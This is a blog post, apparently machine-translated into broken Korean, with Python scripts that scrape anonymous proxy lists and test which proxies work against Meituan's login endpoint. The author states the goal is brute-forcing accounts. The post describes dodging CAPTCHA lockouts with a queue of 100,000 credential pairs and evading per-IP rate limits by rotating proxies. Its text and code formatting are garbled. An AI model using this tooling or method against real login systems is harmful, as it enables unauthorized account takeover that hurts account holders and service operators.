HTTP 프 록 시 를 대량으로 가 져 오고 검증 하 는 Python 스 크 립 트

HTTP 폭력 해독,라 이브 러 리 충돌 등 일반적인 기술 이 있 습 니 다.예 를 들 어:
1.인망 을 스 캔 할 때 저 는 한 개의 계 정 오류 가 두 번 발생 하여 인증 코드 를 입력 하 라 고 강 요 했 지만 상대방 은 IP 전략 을 실시 하지 않 았 습 니 다.
나 는 10 만(사용자 이름,비밀번호)대기 열 을 유지 하 는 방식 으로 인증 코드 를 돌 았 다.구체 적 인 방법 은 사용자 이름,비밀번호 조합 이 인증 코드 가 필요 할 때 이 해독 서열 을 걸 고 대기 열 끝 에 놓 고 다음 테스트 를 기다 리 며 다른 계 정 비밀 번 호 를 계속 푸 는 것 이다.
이렇게 하면 2/3 의 시간 을 정상 적 인 해독 과 스 캔 을 할 수 있다.
2.미 단 망 의 한 시스템 계 정 을 풀 때 저 는 단일 IP 방문 에 일정한 제한 이 있 기 때문에 요청 빈도 가 너무 빠 르 면 안 됩 니 다.그래서 나 는 72 개의 HTTP 대 리 를 끊 고 이 문 제 를 해결 했다.모든 IP 의 요청 이 정상 인 것 처럼 보이 지만 전체 프로그램 에서 볼 때 효율 은 상당 하 다.
이 편 에서 나 는 HTTP 를 잡 는 스 크 립 트 세 션 을 보 냈 는데,사실은 몇 줄 밖 에 없 었 다.익명 대 리 는 여기에서 캡 처 합 니 다:http://www.xici.net.co/nn/
우선 프 록 시 목록 가 져 오기:

from bs4 import BeautifulSoup
import urllib2


of = open('proxy.txt' , 'w')

for page in range(1, 160):
  html_doc = urllib2.urlopen('http://www.xici.net.co/nn/' + str(page) ).read()
  soup = BeautifulSoup(html_doc)
  trs = soup.find('table', id='ip_list').find_all('tr')
  for tr in trs[1:]:
    tds = tr.find_all('td')
    ip = tds[1].text.strip()
    port = tds[2].text.strip()
    protocol = tds[5].text.strip()
    if protocol == 'HTTP' or protocol == 'HTTPS':
      of.write('%s=%s:%s
' % (protocol, ip, port) ) print '%s=%s:%s' % (protocol, ip, port) of.close()
이 어 대리 가 사용 가능 한 지 검증 했다.나 는 미 단 망 시스템 을 해독 하 는 계 정 이기 때문에 미 단의 페이지 로 표시 했다.

#encoding=gbk
import httplib
import time
import urllib
import threading

inFile = open('proxy.txt', 'r')
outFile = open('available.txt', 'w')

lock = threading.Lock()

def test():
  while True:
    lock.acquire()
    line = inFile.readline().strip()
    lock.release()
    if len(line) == 0: break
    protocol, proxy = line.split('=')
    headers = {'Content-Type': 'application/x-www-form-urlencoded',
      'Cookie': ''}
    try:
      conn = httplib.HTTPConnection(proxy, timeout=3.0)
      conn.request(method='POST', url='http://e.meituan.com/m/account/login', body='login=ttttttttttttttttttttttttttttttttttttt&password=bb&remember_username=1&auto_login=1', headers=headers )
      res = conn.getresponse()
      ret_headers = str( res.getheaders() ) 
      html_doc = res.read().decode('utf-8')
      print html_doc.encode('gbk')
      if ret_headers.find(u'/m/account/login/') > 0:
        lock.acquire()
        print 'add proxy', proxy
        outFile.write(proxy + '
') lock.release() else: print '.', except Exception, e: print e all_thread = [] for i in range(50): t = threading.Thread(target=test) all_thread.append(t) t.start() for t in all_thread: t.join() inFile.close() outFile.close()

좋은 웹페이지 즐겨찾기